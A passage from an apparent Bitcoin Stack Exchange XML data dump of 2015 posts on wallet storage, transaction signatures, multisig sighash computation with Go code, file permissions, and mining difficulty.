}&#xA;&#xA;            var write = request.GetRequestStream();&#xA;            write.Write(data, 0, data.Length);&#xA;&#xA;            var respone = request.GetResponse() as HttpWebResponse;&#xA;&#xA;            return null;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is new code to fix error with HMACSHA384&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; string ByteToString(byte[] buff)&#xA;        {&#xA;            string sbinary = &quot;&quot;;&#xA;&#xA;            for (int i = 0; i &amp;lt; buff.Length; i++)&#xA;            {&#xA;                sbinary += buff[i].ToString(&quot;X2&quot;); // hex format&#xA;            }&#xA;            return (sbinary);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and some more fixes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;long GetNonce()&#xA;        {&#xA;            return nonce++;&#xA;        }&#xA;&#xA;        static public string EncodeTo64(string toEncode)&#xA;        {&#xA;            byte[] toEncodeAsBytes&#xA;                  = System.Text.ASCIIEncoding.ASCII.GetBytes(toEncode);&#xA;            string returnValue&#xA;                  = System.Convert.ToBase64String(toEncodeAsBytes);&#xA;            return returnValue;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;oh and last fix to prove the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    string signature = this.ByteToString(hashmessage).ToLower();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23128" LastActivityDate="2015-01-28T23:51:01.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35785" PostTypeId="1" AcceptedAnswerId="35796" CreationDate="2015-01-29T00:24:43.480" Score="6" ViewCount="5186" Body="&lt;p&gt;I have a fairly straightforward question that's still unanswered after googling for days for a definite answer, I hope you guys can help me out with this one here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Background:&lt;/strong&gt; I have &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.mycelium.wallet&quot; rel=&quot;nofollow&quot;&gt;Mycelium Bitcoin Wallet&lt;/a&gt; installed on my Android phone [ROOT], I have backed up my &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot; rel=&quot;nofollow&quot;&gt;HD wallet&lt;/a&gt; which also contains &lt;a href=&quot;https://mycelium.com/lt/help.html&quot; rel=&quot;nofollow&quot;&gt;Local Trader account&lt;/a&gt;, and have been successful in restoring said backup[s] (by means of un-installing app, wiping it's old data and re-installing / loading wallet from backup (Master seed)). I also have redundant backups of the app and it's data (I assume that includes the wallet file?) made with &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.keramidas.TitaniumBackup&quot; rel=&quot;nofollow&quot;&gt;Titanium Backup&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; I however still do not know where Mycelium's wallet resides, is it on my SD extCard? SD Card? Data  partition? Protected Storage? Is it just determined by the Master Seed and hence resides nowhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final Note:&lt;/strong&gt; I'm eagerly awaiting this piece of information to be at ease with my policies, knowing that  I can manually backup/encrypt my wallet file (if there is one) is really important to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thanks in advance!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="22974" LastEditorUserId="5406" LastEditDate="2016-01-05T13:22:17.910" LastActivityDate="2021-04-17T13:07:11.993" Title="Where is the Mycelium wallet file stored?" Tags="|backup|android|mycelium-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35786" PostTypeId="1" CreationDate="2015-01-29T05:29:55.207" Score="-1" ViewCount="813" Body="&lt;p&gt;For the first four years of bitcoin, 50 bitcoin were being mined per block. There was a feedback loop to adjust difficulty so that blocks would be mined every ten minutes, on average. So why is the graph of &quot;Total bitcoin in circulation&quot; so far from a straight line? See image: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eI133.png&quot; alt=&quot;Total bitcoins in circulation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12311" LastEditorUserId="5406" LastEditDate="2016-03-10T09:08:25.700" LastActivityDate="2016-03-10T09:08:25.700" Title="Why was there an non-steady mining rate in 2009?" Tags="|difficulty|mining-hardware|hashpower|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35789" PostTypeId="1" CreationDate="2015-01-29T11:24:24.927" Score="0" ViewCount="679" Body="&lt;p&gt;I just uploaded the &lt;a href=&quot;https://github.com/Bit-Wasp/BitWasp&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BitWasp&lt;/code&gt; code&lt;/a&gt; into &lt;code&gt;/var/www&lt;/code&gt; but when I tried to install using extension &lt;code&gt;BitWasp-master/install/index.php&lt;/code&gt; the installation page that I need to make &lt;code&gt;config.php&lt;/code&gt;, &lt;code&gt;database.php&lt;/code&gt;, and &lt;code&gt;bitcoin.php&lt;/code&gt; files writable. And when done I should press F5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make these files writeable? I don't have permissions to view the contents of those files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help! Thank you&lt;/p&gt;&#xA;" OwnerUserId="23141" LastEditorUserId="5406" LastEditDate="2016-04-04T14:34:55.337" LastActivityDate="2016-04-04T14:34:55.337" Title="BitWasp Installation Problem" Tags="|php|library|bitwasp|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35792" PostTypeId="1" AcceptedAnswerId="35794" CreationDate="2015-01-29T12:25:57.210" Score="5" ViewCount="1023" Body="&lt;p&gt;When a P2PKH transaction is created there are two main parts: the transaction input and the transaction output. I understand that the transaction input requires a signature that unlocks a previous UTXO for that specific address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in simple terms we have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;transaction = transaction input(UTXO+sig) + transaction output(destination address and amount)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What prevents someone from intercepting the transaction and replacing the 'transaction output' with their own address?&lt;/p&gt;&#xA;" OwnerUserId="23144" LastEditorUserId="2306" LastEditDate="2015-02-03T02:28:41.373" LastActivityDate="2015-02-03T02:28:41.373" Title="Intercept and edit transaction output" Tags="|transactions|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35793" PostTypeId="2" ParentId="35792" CreationDate="2015-01-29T13:59:54.470" Score="4" Body="&lt;p&gt;The sig part signs the entire transaction, not just the input part. So if someone intercepting the transaction replaced the transaction output part, the sig would no longer be valid. In fact, changing other inputs or outputs or amounts would also render the sig and thus the transaction invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you sign away an input, you are essentially saying &quot;only this very specific transaction may spend this input&quot;. &lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-01-29T13:59:54.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35794" PostTypeId="2" ParentId="35792" CreationDate="2015-01-29T14:00:29.303" Score="5" Body="&lt;p&gt;Your assumption in the following equation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;transaction = transaction input(UTXO+sig) + transaction output&lt;/code&gt; is wrong. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct would be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;transaction = UTXO + sig[tx data + hash(UTXO)] + output&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;UTXO + sig[tx data + hash(UTXO)&lt;/code&gt; is added for each input&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;output&lt;/code&gt; is added for each output&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is JSON format of transaction that I have recently created and &lt;code&gt;not yet broadcasted&lt;/code&gt;. You may notice that it has 1 input and 1 output. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;hash&quot;: &quot;7decf07997e58980b666e3cda17d4a930a21c8e99cad84c587a0e59d06b2dc86&quot;,&#xA;    &quot;ver&quot;: 1,&#xA;    &quot;vin_sz&quot;: 1,&#xA;    &quot;vout_sz&quot;: 1,&#xA;    &quot;lock_time&quot;: 0,&#xA;    &quot;size&quot;: 191,&#xA;    &quot;in&quot;: [&#xA;        {&#xA;            &quot;prev_out&quot;: {&#xA;                &quot;hash&quot;: &quot;5cbbbb09f4323badb86d32ef4b8929ce757c078bc399c2ec499daaf8f51c455e&quot;,&#xA;                &quot;n&quot;: 1&#xA;            },&#xA;            &quot;scriptSig&quot;: &quot;304402203a0a2a31e906997d8beed8ca5a81bd303f9fff2475cb0400983eef0fb718a573022069103db03857fb8c7b204e3ed3706ea6fa729708bc85492a7783ca11760a672101 02856209e1b0dfd542898c8a8c58da4a91f9f6a82cddb4157117fe18157fc28c94&quot;,&#xA;            &quot;sequence&quot;: 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;out&quot;: [&#xA;        {&#xA;            &quot;value&quot;: &quot;0.00010000&quot;,&#xA;            &quot;scriptPubKey&quot;: &quot;OP_DUP OP_HASH160 c74eb0fc16d79cbf4399c80e7ec07162a41f30c6 OP_EQUALVERIFY OP_CHECKSIG&quot;&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you may know, to prove that you are allowed to spend input of tx you need to provide &lt;code&gt;Digital signature&lt;/code&gt; - that is the &lt;code&gt;scriptSig&lt;/code&gt; element inside &lt;code&gt;in&lt;/code&gt; array. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;scriptSig&lt;/code&gt; are digitally signed following data:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ID (hash) of particular input (prev_out) &lt;/li&gt;&#xA;&lt;li&gt;double SHA of new transaction data&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Signing transaction data prevents anyone from executing so called &lt;code&gt;Man-in-the-middle attack&lt;/code&gt; and intercept and direct &lt;code&gt;out&lt;/code&gt; to their wallet, since they cannot provide correct digital signature for the malformed transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not try yourself? Here is the hex of above tx:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000015e451cf5f8aa9d49ecc299c38b077c75ce29894bef326db8ad3b32f409bbbb5c010000006a47304402203a0a2a31e906997d8beed8ca5a81bd303f9fff2475cb0400983eef0fb718a573022069103db03857fb8c7b204e3ed3706ea6fa729708bc85492a7783ca11760a6721012102856209e1b0dfd542898c8a8c58da4a91f9f6a82cddb4157117fe18157fc28c94ffffffff0110270000000000001976a914c74eb0fc16d79cbf4399c80e7ec07162a41f30c688ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can replace output address &lt;code&gt;c74eb0fc16d79cbf4399c80e7ec07162a41f30c6&lt;/code&gt; with double hash (RIPEDM160(SHA256(K)) of your public key. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then try to broadcast the malformed tx with &lt;a href=&quot;http://btc.blockr.io/tx/push&quot; rel=&quot;noreferrer&quot;&gt;http://btc.blockr.io/tx/push&lt;/a&gt; to see it is impossible. Or if you are skilled you may use &lt;code&gt;sendrawtransaction &amp;lt;tx hex here&amp;gt;&lt;/code&gt; command in &lt;code&gt;bitcoind&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="6540" LastEditDate="2015-01-29T14:52:19.430" LastActivityDate="2015-01-29T14:52:19.430" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35795" PostTypeId="2" ParentId="35786" CreationDate="2015-01-29T14:08:29.703" Score="3" Body="&lt;p&gt;When a large amount of hashing power enters or leaves the network, the difficulty adjustments (capped at 4x in either direction) often aren't enough to keep the average block difficulty at 10 minutes. When a lot of hashing power comes into the network, block time is more often going to be less than 10 minutes while the opposite means it's more often going to be more than 10 minutes. This in turn means that coins are generated faster in the former case and slower in the latter.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-01-29T14:08:29.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35796" PostTypeId="2" ParentId="35785" CreationDate="2015-01-29T14:36:04.540" Score="8" Body="&lt;p&gt;For Mycelium, the actual file that contains the encrypted keys are in the sqlite3 file. You can see in the source code that though there is in-memory storage, it's used mostly for testing and that the main way in which Mycelium data is stored is in a sqlite3 file. Sqlite, if you aren't familiar, is a very simple relational database that contains the whole database in a single file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the actual relational database table layout in &lt;a href=&quot;https://github.com/mycelium-com/wallet/blob/dbb7b5426114215d236df7534e1f3ab3252f82d4/public/mbw/src/main/java/com/mycelium/wallet/wapi/SqliteWalletManagerBacking.java&quot;&gt;the source code&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the question about exactly where the wallet is, mycelium does not have the installLocation attribute and therefore is only going to be stored in internal storage, or on the phone itself.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-01-29T14:36:04.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35797" PostTypeId="2" ParentId="35789" CreationDate="2015-01-29T15:59:34.710" Score="1" Body="&lt;p&gt;Most likely, you need to change permissions on those files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ chown apache config.php database.php bitcoin.php&#xA;$ chmod g+w config.php database.php bitcoin.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, if you're not using apache or the groupid of the webserver you're using is different, you might need to change &quot;apache&quot; to something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read up on &lt;a href=&quot;http://www.linuxclues.com/articles/16.htm&quot; rel=&quot;nofollow&quot;&gt;linux file permissions&lt;/a&gt; to understand this stuff better.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-01-29T15:59:34.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35799" PostTypeId="1" CreationDate="2015-01-29T16:48:49.310" Score="0" ViewCount="2194" Body="&lt;p&gt;for example this transaction: &lt;a href=&quot;http://2coin.org/txinfo.aspx?txid=6c3dc603da32bba3f56f2b33053aaf0f0f17322386c0c6846786bffe49f6ef22&amp;amp;cur=BTC&quot; rel=&quot;nofollow&quot;&gt;http://2coin.org/txinfo.aspx?txid=6c3dc603da32bba3f56f2b33053aaf0f0f17322386c0c6846786bffe49f6ef22&amp;amp;cur=BTC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script not of right size to be a scriptSig, expecting 2 but got 4&lt;/p&gt;&#xA;" OwnerUserId="23124" LastActivityDate="2020-05-31T07:15:56.667" Title="How to find Z value of multisig transaction?" Tags="|blockchain|multi-signature|signature|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35800" PostTypeId="2" ParentId="35385" CreationDate="2015-01-29T18:11:56.363" Score="4" Body="&lt;p&gt;There is a site where one can submit bounties for proofs of theorems in Coq formal proof management system, and get paid in bitcoin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://proofmarket.org/&quot; rel=&quot;nofollow&quot;&gt;proofmarket.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Additionally there are other sites that have done competitions in the past:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://mathgate.info/&quot; rel=&quot;nofollow&quot;&gt;mathgate.info treasure hunt&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another project in development (but at the moment not specifically tied to bitcoin) is &lt;a href=&quot;http://www.proofpeer.net/index.html&quot; rel=&quot;nofollow&quot;&gt;ProofPeer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional information about these proof markets can be found in this article:  &lt;a href=&quot;http://blogchain.fr/programmarket-en/&quot; rel=&quot;nofollow&quot;&gt;http://blogchain.fr/programmarket-en/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1919" LastActivityDate="2015-01-29T18:11:56.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35801" PostTypeId="1" CreationDate="2015-01-29T20:33:34.920" Score="1" ViewCount="86" Body="&lt;p&gt;I'm referring to the challenge Bill Gates raised as a shortcoming of Bitcoin. Could it ever be possible to reverse a bitcoin transaction mistakenly sent to the wrong address?&lt;/p&gt;&#xA;" OwnerUserId="23033" LastActivityDate="2015-01-29T20:33:34.920" Title="Is it possible to reverse mistaken transactions?" Tags="|transactions|" AnswerCount="0" CommentCount="3" ClosedDate="2015-01-29T21:44:07.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="35802" PostTypeId="2" ParentId="35799" CreationDate="2015-01-29T21:44:54.380" Score="1" Body="&lt;p&gt;What you're asking for is how to figure out what to sign for a multisig transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multisig is actually very close to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3374/how-to-redeem-a-basic-tx&quot;&gt;this answer&lt;/a&gt;. There are a few subtle differences, however, so let me try to summarize step-by-step using the transaction as seen  on the &lt;a href=&quot;https://blockchain.info/tx/6c3dc603da32bba3f56f2b33053aaf0f0f17322386c0c6846786bffe49f6ef22&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockchain&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that for each input, the actual hash to be signed is going to be different. Namely, you will need to fill in the redeem script for that input only and nulls for every other input. To illustrate, let's figure out what you need to sign for the very first input.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Transaction version: &lt;code&gt;01000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Number of inputs: &lt;code&gt;03&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tx input #1 hash: &lt;code&gt;fdb1fe0b4506f8d412f8498a0d747701bc5ed8c009e779ee670c82361c1d1dd5&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tx input #1 index: &lt;code&gt;01000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tx input #1 redeem script length: &lt;code&gt;47&lt;/code&gt; (71 bytes)&lt;/li&gt;&#xA;&lt;li&gt;Tx input #1 redeem script: &lt;code&gt;522102cebf6ab580948d146b7cc771d8e646974349d3d7b11f3e03287d0997a477d3b921037ba651485b7a2cb222191eb64a55926e62bbabfe9b5ed2a9488aad547b20428252ae&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tx input #1 sequence: &lt;code&gt;ffffffff&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tx input #2 hash: &lt;code&gt;a614d26f1878078a00a3c296085576cd7e6361234ea82c865681041fcfdacea8&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tx input #2 index: &lt;code&gt;01000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tx input #2 redeem script length: &lt;code&gt;00&lt;/code&gt; (nothing)&lt;/li&gt;&#xA;&lt;li&gt;Tx input #2 sequence: &lt;code&gt;ffffffff&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tx input #3 hash: &lt;code&gt;d064d2f9cf9e5196a9d81dd87718c9cfbec97f3ccac7164946d956421597c7f1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tx input #3 index: &lt;code&gt;01000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tx input #3 redeem script length: &lt;code&gt;00&lt;/code&gt; (nothing)&lt;/li&gt;&#xA;&lt;li&gt;Tx input #3 sequence: &lt;code&gt;ffffffff&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Number of outputs: &lt;code&gt;01000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Amount being sent to the first (and only) output: &lt;code&gt;e068704600000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Output script length: &lt;code&gt;19&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Output script: &lt;code&gt;76a9142c76e6fdd1a81c902afa62e78ec71435708d9d9d88ac&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Lock time field: &lt;code&gt;00000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;SIGHASH_ALL: &lt;code&gt;01000000&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, if you double-sha256 these bytes you get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;9c4b551f37f4b383af9216045d80b2fcd4ed57bddca8df388ec29601cbd2a4f1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And indeed when you check against the embedded signature of that transaction, you can see that that is indeed the hash that was signed. Here's a code sample to verify using the excellent btcd library written in go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;package main&#xA;&#xA;import (&#xA;    &quot;encoding/hex&quot;&#xA;    &quot;fmt&quot;&#xA;    &quot;hash&quot;&#xA;&#xA;    &quot;github.com/btcsuite/btcec&quot;&#xA;    &quot;github.com/btcsuite/fastsha256&quot;&#xA;)&#xA;&#xA;// Calculate the hash of hasher over buf.&#xA;func calcHash(buf []byte, hasher hash.Hash) []byte {&#xA;    hasher.Write(buf)&#xA;    return hasher.Sum(nil)&#xA;}&#xA;&#xA;// Hash160 calculates the hash ripemd160(sha256(b)).&#xA;func Hash256(buf []byte) []byte {&#xA;    return calcHash(calcHash(buf, fastsha256.New()), fastsha256.New())&#xA;}&#xA;&#xA;func main() {&#xA;    x := &quot;0100000003fdb1fe0b4506f8d412f8498a0d747701bc5ed8c009e779ee670c82361c1d1dd50100000047522102cebf6ab580948d146b7cc771d8e646974349d3d7b11f3e03287d0997a477d3b921037ba651485b7a2cb222191eb64a55926e62bbabfe9b5ed2a9488aad547b20428252aeffffffffa614d26f1878078a00a3c296085576cd7e6361234ea82c865681041fcfdacea80100000000ffffffffd064d2f9cf9e5196a9d81dd87718c9cfbec97f3ccac7164946d956421597c7f10100000000ffffffff01e0687046000000001976a9142c76e6fdd1a81c902afa62e78ec71435708d9d9d88ac0000000001000000&quot;&#xA;&#xA;    b, _ := hex.DecodeString(x)&#xA;&#xA;    hash := Hash256(b)&#xA;    fmt.Printf(&quot;hash of thing to sign: %x\n&quot;, hash)&#xA;&#xA;    pubkeyStr := &quot;02cebf6ab580948d146b7cc771d8e646974349d3d7b11f3e03287d0997a477d3b9&quot;&#xA;    pubkeyStr2 := &quot;037ba651485b7a2cb222191eb64a55926e62bbabfe9b5ed2a9488aad547b204282&quot;&#xA;    pubkeyBytes, _ := hex.DecodeString(pubkeyStr)&#xA;    pubkeyBytes2, _ := hex.DecodeString(pubkeyStr2)&#xA;&#xA;    p, _ := btcec.ParsePubKey(pubkeyBytes, btcec.S256())&#xA;    p2, _ := btcec.ParsePubKey(pubkeyBytes2, btcec.S256())&#xA;&#xA;    fmt.Printf(&quot;pubkeys: %s, %s\n&quot;, p, p2)&#xA;&#xA;    sigStr := &quot;3044022025332b6dabf11e493fbc62c93e7302c48666512e1cf88157c26176f4af6d064702201ee7ec25d0917244e514c402e8751f112dfd1bef2b22ec5e496fbafabb52bf010148&quot;&#xA;&#xA;    sigStr2 := &quot;3045022100fa1f17bf59bee0ac33ae5f682711c5471c73a4aeb898aee218478289a4c7aa6e02207b40dfeae3fa4a50dc147bd42be40370d76a35d72c0b27b27c4ba2439a565fb901&quot;&#xA;&#xA;    sigBytes, _ := hex.DecodeString(sigStr)&#xA;    sigBytes2, _ := hex.DecodeString(sigStr2)&#xA;&#xA;    s, _ := btcec.ParseDERSignature(sigBytes, btcec.S256())&#xA;    s2, _ := btcec.ParseDERSignature(sigBytes2, btcec.S256())&#xA;&#xA;    fmt.Printf(&quot;sig: %s\n&quot;, s)&#xA;&#xA;    fmt.Printf(&quot;signature valid: %v\n&quot;, s.Verify(hash, p))&#xA;    fmt.Printf(&quot;signature valid: %v\n&quot;, s2.Verify(hash, p2))&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can do the same thing with input #2 and input #3 to get the hash that gets signed by changing #5 and #6 (combined) to be &lt;code&gt;00&lt;/code&gt; and #10 or #14 in the steps above to be &lt;code&gt;47522102cebf6ab580948d146b7cc771d8e646974349d3d7b11f3e03287d0997a477d3b921037ba651485b7a2cb222191eb64a55926e62bbabfe9b5ed2a9488aad547b20428252ae&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-01-29T21:50:17.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35803" PostTypeId="1" AcceptedAnswerId="35804" CreationDate="2015-01-29T22:07:51.143" Score="-1" ViewCount="609" Body="&lt;p&gt;Say I had 1 Bitcoin at the start of the trade yesterday&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; @ 01-27 14:29&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the price was &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; USD : 263.95872470902&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I sold the whole Bitcoin at the average price&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; @ 01-29 10:57&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I bought back as much Bitcoin as the new price would let me again at the average price of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; USD : 233.55771464647&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The price data was taken from crypto-prices.com I just don't see how that could be worked out. I know how to use preev.com to calculate the 'current' value but I don't understand how I would calculate a previous value and work out the difference / or would be, pretend profit.&lt;/p&gt;&#xA;" OwnerUserId="23148" LastEditorUserId="5406" LastEditDate="2015-01-29T22:46:08.470" LastActivityDate="2015-01-29T22:46:08.470" Title="How do I calculate a hypothetical trade?" Tags="|exchange-rate|charts|trade|" AnswerCount="1" CommentCount="1" ClosedDate="2015-01-29T22:51:57.500" ContentLicense="CC BY-SA 3.0" />
  <row Id="35804" PostTypeId="2" ParentId="35803" CreationDate="2015-01-29T22:28:58.497" Score="1" Body="&lt;p&gt;&lt;code&gt;263.95 [USD/BTC] / 233.56 [USD/BTC] * 1 [BTC] = 1.13 [BTC]&lt;/code&gt;, i.e. for each BTC you sold at the higher price, you can rebuy 1.13 BTC at the lower price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The underlying concept is explained on &lt;a href=&quot;http://en.wikipedia.org/wiki/Cross-multiplication&quot; rel=&quot;nofollow&quot;&gt;Wikipedia: Cross-multiplication&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-01-29T22:28:58.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35805" PostTypeId="5" CreationDate="2015-01-30T01:15:53.590" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-01-30T01:15:53.590" LastActivityDate="2015-01-30T01:15:53.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35806" PostTypeId="4" CreationDate="2015-01-30T01:15:53.590" Score="0" Body="Bitfinex is an exchange based out of Hong Kong dealing with Bitcoin, Litecoin, Darkcoin and allows trades in US Dollars. Features include standard exchange trading, 3.3:1 leveraged trading and swap contracts." OwnerUserId="23149" LastEditorUserId="23149" LastEditDate="2015-01-30T02:42:01.247" LastActivityDate="2015-01-30T02:42:01.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35807" PostTypeId="2" ParentId="23099" CreationDate="2015-01-30T04:28:27.520" Score="8" Body="&lt;p&gt;Miners task is to find a hash below a target T. Obviously if T is smaller, its more difficult to find the hash number. &lt;br/&gt;&#xA;Difficulty D is defined by:&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D = Tmax/T&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where Tmax is: &lt;code&gt;2^224&lt;/code&gt;&#xA;The probability of finding the hash is:&lt;br&gt;&#xA;&lt;code&gt;P = T/2^256&lt;/code&gt; &lt;br/&gt;&#xA;which is equal to &lt;code&gt;1/D2^32&lt;/code&gt;&#xA;So if you can make h number of hashes in t time, the probability of finding the target hash is:&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;P = ht/D2^32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21331" LastActivityDate="2015-01-30T04:28:27.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
